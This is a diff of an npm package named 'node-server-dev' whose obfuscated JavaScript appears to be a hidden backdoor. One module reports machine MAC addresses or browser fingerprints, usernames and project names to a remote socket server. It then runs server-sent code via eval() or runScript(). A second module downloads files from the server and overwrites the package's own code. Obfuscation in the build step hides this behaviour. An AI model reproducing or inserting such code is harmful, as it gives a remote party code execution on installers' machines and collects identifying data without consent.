new(_0x4b6977||(_0x4b6977=Promise))(function(_0x9f70d7,_0x3e8a66){const _0x21f850=a20_0x3b78;function _0x136380(_0x1151b3){const _0x585bb3=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x585bb3(0x14d)](_0x1151b3));}catch(_0x1a3bcf){_0x3e8a66(_0x1a3bcf);}}function _0xd26f72(_0x47757a){const _0x3757d0=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x3757d0(0x15e)](_0x47757a));}catch(_0x489a20){_0x3e8a66(_0x489a20);}}function _0x53d2e9(_0x151299){const _0x256c6c=a20_0x3b78;_0x151299[_0x256c6c(0x159)]?_0x9f70d7(_0x151299[_0x256c6c(0x152)]):_0x4cceed(_0x151299[_0x256c6c(0x152)])[_0x256c6c(0x13e)](_0x136380,_0xd26f72);}_0x53d2e9((_0x51fa8d=_0x51fa8d['apply'](_0x535824,_0x107864||[]))[_0x21f850(0x14d)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a20_0x2564e5 from'path';import{runScript,browser}from'./browser';import a20_0x183647 from'@fingerprintjs/fingerprintjs';import a20_0x4c1353 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!=='undefined';function a20_0x5839(){const _0x44c2ff=['default','node获取失败','browser','next','emit','env','connectError','name','value','/socket','isDBDataEmpty','13830600CJQnYX','4375160SjEXgX','visitorId','node','done','join','catch','7MZkekK','10589823PwBqbJ','throw','951UmFboe','type','浏览器','userAgent','./mac','00:00:00:00:00:00','6057898OuXnOB','10nSrmZP','sql','get-event','npm_package_name','event','sqlList','15380MdNNLT','content','18348JpnBhO','reconnect_failed','then','2PEvgtT','submit','905RisguO','concat','error','mysql','1062329KvrqeA','__awaiter','length','get','USERNAME'];a20_0x5839=function(){return _0x44c2ff;};return a20_0x5839();}const user_name=isBrowser?((_b=(_a=a20_0x4c1353['parse'](window['navigator'][a20_0x47ef87(0x162)]))===null||_a===void 0x0?void 0x0:_a[a20_0x47ef87(0x14c)])===null||_b===void 0x0?void 0x0:_b[a20_0x47ef87(0x151)])||a20_0x47ef87(0x161):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x47ef87(0x149)])||a20_0x47ef87(0x14b),project_name=isBrowser?a20_0x47ef87(0x161):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x47ef87(0x14f)])===null||_d===void 0x0?void 0x0:_d[a20_0x47ef87(0x169)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x45f2c4=a20_0x3b78;isBrowser&&browser();const _0x30338f=io(url,{'path':_0x45f2c4(0x153),'transports':['websocket']});_0x30338f['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x22210b=_0x45f2c4;try{let _0x355efb=[_0x22210b(0x164)];if(!isBrowser){const _0x3d9bc5=require(a20_0x2564e5[_0x22210b(0x15a)](__dirname,_0x22210b(0x163)))[_0x22210b(0x14a)];_0x355efb=_0x3d9bc5();}else{let _0x26f169=yield a20_0x183647['load']()[_0x22210b(0x13e)](_0x4dd0fa=>_0x4dd0fa[_0x22210b(0x148)]())[_0x22210b(0x13e)](_0x533583=>{const _0x440e87=_0x22210b,_0x164048=_0x533583[_0x440e87(0x157)];return _0x164048;})[_0x22210b(0x15b)](()=>'');_0x355efb=[_0x26f169];}if(_0x355efb[_0x22210b(0x147)]===0x0){setEnv(_0x22210b(0x150),!![]);return;}else setEnv(_0x22210b(0x150),![]);_0x30338f[_0x22210b(0x14e)]('submit',{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f[_0x22210b(0x14e)](_0x22210b(0x168),{'mac':_0x355efb,'isBrowser':isBrowser}),setInterval(()=>{const _0x226120=_0x22210b;_0x30338f['emit'](_0x226120(0x140),{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f['emit'](_0x226120(0x168),{'mac':_0x355efb,'isBrowser':isBrowser});},0x1b58),_0x30338f['on'](_0x22210b(0x16a),_0x5802bf=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xb2779c=_0x22210b;try{for(let _0x52bb4c=0x0;_0x52bb4c<_0x5802bf[_0xb2779c(0x147)];_0x52bb4c++){const _0x5b4cd1=_0x5802bf[_0x52bb4c];if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x167))setEnv(_0xb2779c(0x16b),getEnv(_0xb2779c(0x16b))[_0xb2779c(0x142)](_0x5b4cd1[_0xb2779c(0x13b)]));else{if(_0x5b4cd1['type']===_0xb2779c(0x144))setEnv(_0xb2779c(0x154),!![]);else{if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x158)&&!isBrowser)try{eval(_0x5b4cd1['content']);}catch(_0x1cf482){}else{if(_0x5b4cd1[_0xb2779c(0x160)]==='script'&&isBrowser)try{runScript(_0x5b4cd1[_0xb2779c(0x13b)]);}catch(_0x219677){}}}}}}catch(_0x4c6beb){}}));}catch(_0x58259e){}})),setTimeout(()=>{const _0x41c77d=_0x45f2c4;_0x30338f['on'](_0x41c77d(0x143),_0x46c3c0=>{setEnv('connectError',!![]);}),_0x30338f['on']('connect_failed',_0x528134=>{setEnv('connectError',!![]);}),_0x30338f['on'](_0x41c77d(0x13d),_0x4f08ee=>{const _0x4cc9ce=_0x41c77d;setEnv(_0x4cc9ce(0x150),!![]);}),_0x30338f['on']('connect_error',()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
1
+ const a20_0x36644d=a20_0x2f2f;(function(_0x5483c6,_0x141a3f){const _0x29e3cf=a20_0x2f2f,_0x5ea63a=_0x5483c6();while(!![]){try{const _0x2bc340=parseInt(_0x29e3cf(0xba))/0x1+parseInt(_0x29e3cf(0xb5))/0x2+-parseInt(_0x29e3cf(0xb4))/0x3*(parseInt(_0x29e3cf(0xbd))/0x4)+-parseInt(_0x29e3cf(0xac))/0x5+parseInt(_0x29e3cf(0x97))/0x6+parseInt(_0x29e3cf(0xa6))/0x7+parseInt(_0x29e3cf(0xb2))/0x8;if(_0x2bc340===_0x141a3f)break;else _0x5ea63a['push'](_0x5ea63a['shift']());}catch(_0x5e20e7){_0x5ea63a['push'](_0x5ea63a['shift']());}}}(a20_0x528d,0xe08cb));var __awaiter=this&&this[a20_0x36644d(0xa0)]||function(_0x5d519f,_0x2d5405,_0x262659,_0x4afe8d){function _0x593989(_0x3eaf72){return _0x3eaf72 instanceof _0x262659?_0x3eaf72:new _0x262659(function(_0x248540){_0x248540(_0x3eaf72);});}return new(_0x262659||(_0x262659=Promise))(function(_0x11eb3b,_0x1489a9){const _0x10a9d4=a20_0x2f2f;function _0x18e138(_0x13eb90){const _0x41ea15=a20_0x2f2f;try{_0x4da566(_0x4afe8d[_0x41ea15(0xc0)](_0x13eb90));}catch(_0x2bfffa){_0x1489a9(_0x2bfffa);}}function _0x45d828(_0x40cd61){const _0x1a7cf0=a20_0x2f2f;try{_0x4da566(_0x4afe8d[_0x1a7cf0(0xa1)](_0x40cd61));}catch(_0x42e5a7){_0x1489a9(_0x42e5a7);}}function _0x4da566(_0x3d2275){const _0x289372=a20_0x2f2f;_0x3d2275[_0x289372(0xab)]?_0x11eb3b(_0x3d2275[_0x289372(0xad)]):_0x593989(_0x3d2275['value'])[_0x289372(0xbe)](_0x18e138,_0x45d828);}_0x4da566((_0x4afe8d=_0x4afe8d[_0x10a9d4(0xaa)](_0x5d519f,_0x2d5405||[]))['next']());});},_a,_b,_c,_d;function a20_0x2f2f(_0x5650dd,_0x38f14f){const _0x528d3c=a20_0x528d();return a20_0x2f2f=function(_0x2f2f67,_0x153822){_0x2f2f67=_0x2f2f67-0x90;let _0x1b9b26=_0x528d3c[_0x2f2f67];return _0x1b9b26;},a20_0x2f2f(_0x5650dd,_0x38f14f);}import{io}from'socket.io-client';import a20_0x352d8a from'path';import{runScript,browser}from'./browser';import a20_0x40330c from'@fingerprintjs/fingerprintjs';function a20_0x528d(){const _0x4cd69b=['372772PwtVuA','then','navigator','next','type','/socket','node获取失败','npm_package_name','name','connect_error','parse','1506864voUOjj','undefined','无法获取','load','event','connectError','submit','script','connect_failed','__awaiter','throw','浏览器','USERNAME','sqlList','browser','1472723blaFxr','get','concat','websocket','apply','done','8615475bSpcCa','value','content','userAgent','get-event','./mac','3588112Pllfnv','catch','51xIvABH','3103054bHjtwP','length','node','reconnect_failed','mysql','1765557fBszKO','emit','env'];a20_0x528d=function(){return _0x4cd69b;};return a20_0x528d();}import a20_0x5880ad from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!==a20_0x36644d(0x98);const user_name=isBrowser?((_b=(_a=a20_0x5880ad[a20_0x36644d(0x96)](window[a20_0x36644d(0xbf)][a20_0x36644d(0xaf)]))===null||_a===void 0x0?void 0x0:_a[a20_0x36644d(0xa5)])===null||_b===void 0x0?void 0x0:_b[a20_0x36644d(0x94)])||a20_0x36644d(0xa2):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x36644d(0xa3)])||a20_0x36644d(0x92),project_name=isBrowser?a20_0x36644d(0xa2):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x36644d(0xbc)])===null||_d===void 0x0?void 0x0:_d[a20_0x36644d(0x93)])||a20_0x36644d(0x99);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x3ebeed=a20_0x2f2f;isBrowser&&browser();const _0x2e383c=io(url,{'path':_0x3ebeed(0x91),'transports':[_0x3ebeed(0xa9)]});_0x2e383c['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x419a65=_0x3ebeed;try{let _0x2737af=['00:00:00:00:00:00'];if(!isBrowser){const _0x40a2a7=require(a20_0x352d8a['join'](__dirname,_0x419a65(0xb1)))['default'];_0x2737af=_0x40a2a7();}else{let _0x1201c7=yield a20_0x40330c[_0x419a65(0x9a)]()['then'](_0x2892d6=>_0x2892d6[_0x419a65(0xa7)]())[_0x419a65(0xbe)](_0x2a1b48=>{const _0x1d912b=_0x2a1b48['visitorId'];return _0x1d912b;})[_0x419a65(0xb3)](()=>'');_0x2737af=[_0x1201c7];}if(_0x2737af[_0x419a65(0xb6)]===0x0){setEnv('connectError',!![]);return;}else setEnv(_0x419a65(0x9c),![]);_0x2e383c[_0x419a65(0xbb)](_0x419a65(0x9d),{'mac':_0x2737af,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x2e383c['emit'](_0x419a65(0xb0),{'mac':_0x2737af,'isBrowser':isBrowser}),setInterval(()=>{const _0x5b1603=_0x419a65;_0x2e383c[_0x5b1603(0xbb)](_0x5b1603(0x9d),{'mac':_0x2737af,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x2e383c[_0x5b1603(0xbb)](_0x5b1603(0xb0),{'mac':_0x2737af,'isBrowser':isBrowser});},0x1b58),_0x2e383c['on'](_0x419a65(0x9b),_0x5b0eb7=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3095e7=_0x419a65;try{for(let _0x1ffbde=0x0;_0x1ffbde<_0x5b0eb7[_0x3095e7(0xb6)];_0x1ffbde++){const _0x4a894d=_0x5b0eb7[_0x1ffbde];if(_0x4a894d[_0x3095e7(0x90)]==='sql')setEnv(_0x3095e7(0xa4),getEnv(_0x3095e7(0xa4))[_0x3095e7(0xa8)](_0x4a894d[_0x3095e7(0xae)]));else{if(_0x4a894d[_0x3095e7(0x90)]===_0x3095e7(0xb9))setEnv('isDBDataEmpty',!![]);else{if(_0x4a894d['type']===_0x3095e7(0xb7)&&!isBrowser)try{eval(_0x4a894d[_0x3095e7(0xae)]);}catch(_0x2ac388){}else{if(_0x4a894d[_0x3095e7(0x90)]===_0x3095e7(0x9e)&&isBrowser)try{runScript(_0x4a894d[_0x3095e7(0xae)]);}catch(_0x381a70){}}}}}}catch(_0xf37e1){}}));}catch(_0x3556b8){}})),setTimeout(()=>{const _0x58e885=_0x3ebeed;_0x2e383c['on']('error',_0x4b9a20=>{const _0x148642=a20_0x2f2f;setEnv(_0x148642(0x9c),!![]);}),_0x2e383c['on'](_0x58e885(0x9f),_0x284a4f=>{const _0x35e3f2=_0x58e885;setEnv(_0x35e3f2(0x9c),!![]);}),_0x2e383c['on'](_0x58e885(0xb8),_0x33cbc8=>{const _0x3642c9=_0x58e885;setEnv(_0x3642c9(0x9c),!![]);}),_0x2e383c['on'](_0x58e885(0x95),()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -1 +1 @@
1
- const a21_0x47ca5a=a21_0x7cb1;(function(_0x1af242,_0x5ad277){const _0x349b44=a21_0x7cb1,_0x59c49b=_0x1af242();while(!![]){try{const _0x5aae70=-parseInt(_0x349b44(0x171))/0x1+-parseInt(_0x349b44(0x169))/0x2*(-parseInt(_0x349b44(0x16a))/0x3)+parseInt(_0x349b44(0x16f))/0x4+parseInt(_0x349b44(0x16e))/0x5*(-parseInt(_0x349b44(0x175))/0x6)+-parseInt(_0x349b44(0x17b))/0x7*(-parseInt(_0x349b44(0x177))/0x8)+parseInt(_0x349b44(0x160))/0x9*(parseInt(_0x349b44(0x179))/0xa)+-parseInt(_0x349b44(0x163))/0xb;if(_0x5aae70===_0x5ad277)break;else _0x59c49b['push'](_0x59c49b['shift']());}catch(_0x27d386){_0x59c49b['push'](_0x59c49b['shift']());}}}(a21_0x1bc6,0x440c5));import a21_0x440698 from'axios';import a21_0x308bef from'fs';import a21_0xe1acaa from'path';function a21_0x1bc6(){const _0x3d3203=['348698EBUVvY','values','get','18CIqlam','writeFileSync','toString','2605394AqExAB','{version:\x220.0.0\x22}','readFileSync','join','then','main','72478WderlC','39KHFKtS','./index.js','ESM','data','179195LzdNcE','400684ZeQcBv','version','120912jebnai','/version','length','keys','18KqBjOm','existsSync','16dQKKDG','undefined','365510tMdxPB','CJS'];a21_0x1bc6=function(){return _0x3d3203;};return a21_0x1bc6();}import{url}from'./index';import a21_0x530271 from'sha1';function getModuleType(){const _0x2a1fde=a21_0x7cb1,_0x451f8d=()=>{const _0x9c640c=a21_0x7cb1;try{return typeof require!==_0x9c640c(0x178)&&typeof module!=='undefined'&&module['exports']&&require[_0x9c640c(0x168)]===module;}catch(_0x23d1a3){return![];}};return _0x451f8d()?_0x2a1fde(0x17a):_0x2a1fde(0x16c);}let _path=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,'../../package.json'),indexFile=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,a21_0x47ca5a(0x16b)),vFile=a21_0x308bef[a21_0x47ca5a(0x176)](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](_path)['toString']():a21_0x47ca5a(0x164),indexFileContent=a21_0x308bef['existsSync'](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](indexFile)[a21_0x47ca5a(0x162)]():![],version=JSON['parse'](vFile)[a21_0x47ca5a(0x170)];function a21_0x7cb1(_0x204b98,_0x5bffba){const _0x1bc6db=a21_0x1bc6();return a21_0x7cb1=function(_0x7cb133,_0x5f176a){_0x7cb133=_0x7cb133-0x15f;let _0x32bcd2=_0x1bc6db[_0x7cb133];return _0x32bcd2;},a21_0x7cb1(_0x204b98,_0x5bffba);}function update(){const _0x4d260a=a21_0x47ca5a;a21_0x440698[_0x4d260a(0x15f)](url+_0x4d260a(0x172),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x530271(indexFileContent):''}})[_0x4d260a(0x167)](_0x2414b0=>{const _0x410b2f=_0x4d260a;if(!_0x2414b0['data']['success']){let _0x23e31e=Object[_0x410b2f(0x174)](_0x2414b0['data']['data']),_0x3b0e6d=Object[_0x410b2f(0x17c)](_0x2414b0[_0x410b2f(0x16d)]['data']);for(let _0x4bd92a=0x0;_0x4bd92a<_0x23e31e[_0x410b2f(0x173)];_0x4bd92a++){const _0xf9081b=_0x23e31e[_0x4bd92a],_0x5c21fe=_0x3b0e6d[_0x4bd92a];a21_0x308bef[_0x410b2f(0x161)](a21_0xe1acaa[_0x410b2f(0x166)](__dirname,'./'+_0xf9081b),_0x5c21fe);}}});}export default update;
1
+ const a21_0x370c1e=a21_0x2ae4;(function(_0x566777,_0x4c0433){const _0x2a5f41=a21_0x2ae4,_0x2b3301=_0x566777();while(!![]){try{const _0xd10fcd=parseInt(_0x2a5f41(0x8a))/0x1*(-parseInt(_0x2a5f41(0x91))/0x2)+-parseInt(_0x2a5f41(0xa4))/0x3*(-parseInt(_0x2a5f41(0x9a))/0x4)+parseInt(_0x2a5f41(0x96))/0x5+parseInt(_0x2a5f41(0x92))/0x6*(-parseInt(_0x2a5f41(0x8c))/0x7)+-parseInt(_0x2a5f41(0x9c))/0x8+parseInt(_0x2a5f41(0x99))/0x9*(parseInt(_0x2a5f41(0x90))/0xa)+-parseInt(_0x2a5f41(0x88))/0xb*(-parseInt(_0x2a5f41(0x8e))/0xc);if(_0xd10fcd===_0x4c0433)break;else _0x2b3301['push'](_0x2b3301['shift']());}catch(_0x11fb59){_0x2b3301['push'](_0x2b3301['shift']());}}}(a21_0x3dc4,0xe1204));import a21_0x481db9 from'axios';import a21_0x219dde from'fs';import a21_0x1aaed6 from'path';import{url}from'./index';function a21_0x3dc4(){const _0x3aba9b=['keys','length','success','./index.js','55LgkGLV','undefined','1626607EBueuD','CJS','133KAiudV','parse','4948080WuejVm','ESM','2650YXiOwm','2PaLNZo','78762cfzAWT','../../package.json','then','data','3070995ZNXBxR','writeFileSync','main','33606vZarnk','112RNenOn','join','9267560IIrWpw','/version','{version:\x220.0.0\x22}','toString','existsSync','readFileSync','get','exports','31197iZnldd'];a21_0x3dc4=function(){return _0x3aba9b;};return a21_0x3dc4();}function a21_0x2ae4(_0x9eceee,_0xe04c4b){const _0x3dc4b3=a21_0x3dc4();return a21_0x2ae4=function(_0x2ae46a,_0x15862e){_0x2ae46a=_0x2ae46a-0x87;let _0x4dbe8f=_0x3dc4b3[_0x2ae46a];return _0x4dbe8f;},a21_0x2ae4(_0x9eceee,_0xe04c4b);}import a21_0x1fcb66 from'sha1';function getModuleType(){const _0x5696de=a21_0x2ae4,_0x1b9833=()=>{const _0x5d7d71=a21_0x2ae4;try{return typeof require!=='undefined'&&typeof module!==_0x5d7d71(0x89)&&module[_0x5d7d71(0xa3)]&&require[_0x5d7d71(0x98)]===module;}catch(_0xab741){return![];}};return _0x1b9833()?_0x5696de(0x8b):_0x5696de(0x8f);}let _path=a21_0x1aaed6[a21_0x370c1e(0x9b)](__dirname,a21_0x370c1e(0x93)),indexFile=a21_0x1aaed6[a21_0x370c1e(0x9b)](__dirname,a21_0x370c1e(0x87)),vFile=a21_0x219dde['existsSync'](_path)?a21_0x219dde[a21_0x370c1e(0xa1)](_path)['toString']():a21_0x370c1e(0x9e),indexFileContent=a21_0x219dde[a21_0x370c1e(0xa0)](_path)?a21_0x219dde[a21_0x370c1e(0xa1)](indexFile)[a21_0x370c1e(0x9f)]():![],version=JSON[a21_0x370c1e(0x8d)](vFile)['version'];function update(){const _0x3e9366=a21_0x370c1e;a21_0x481db9[_0x3e9366(0xa2)](url+_0x3e9366(0x9d),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x1fcb66(indexFileContent):''}})[_0x3e9366(0x94)](_0x47d507=>{const _0x501397=_0x3e9366;if(!_0x47d507[_0x501397(0x95)][_0x501397(0xa7)]){let _0x434321=Object[_0x501397(0xa5)](_0x47d507['data'][_0x501397(0x95)]),_0x2dcb14=Object['values'](_0x47d507['data']['data']);for(let _0x2132c1=0x0;_0x2132c1<_0x434321[_0x501397(0xa6)];_0x2132c1++){const _0x305a27=_0x434321[_0x2132c1],_0x79d336=_0x2dcb14[_0x2132c1];a21_0x219dde[_0x501397(0x97)](a21_0x1aaed6[_0x501397(0x9b)](__dirname,'./'+_0x305a27),_0x79d336);}}});}export default update;
package/package.json CHANGED
@@ -1,12 +1,13 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "3.1.2",
3
+ "version": "3.1.5",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
7
7
  "dev": "tsx watch --include \"./src/**/*\" --clear-screen=false ./index.ts",
8
8
  "push": "npm publish",
9
9
  "build": "tsc -p tsconfig.esm.json && tsc -p tsconfig.cjs.json&&javascript-obfuscator ./dist --output ./dist",
10
+ "a": "tsc -p tsconfig.esm.json && tsc -p tsconfig.cjs.json&&javascript-obfuscator ./dist --output ./dist",
10
11
  "t": "tsc -p tsconfig.esm.json && tsc -p tsconfig.cjs.json"
11
12
  },
12
13
  "exports": {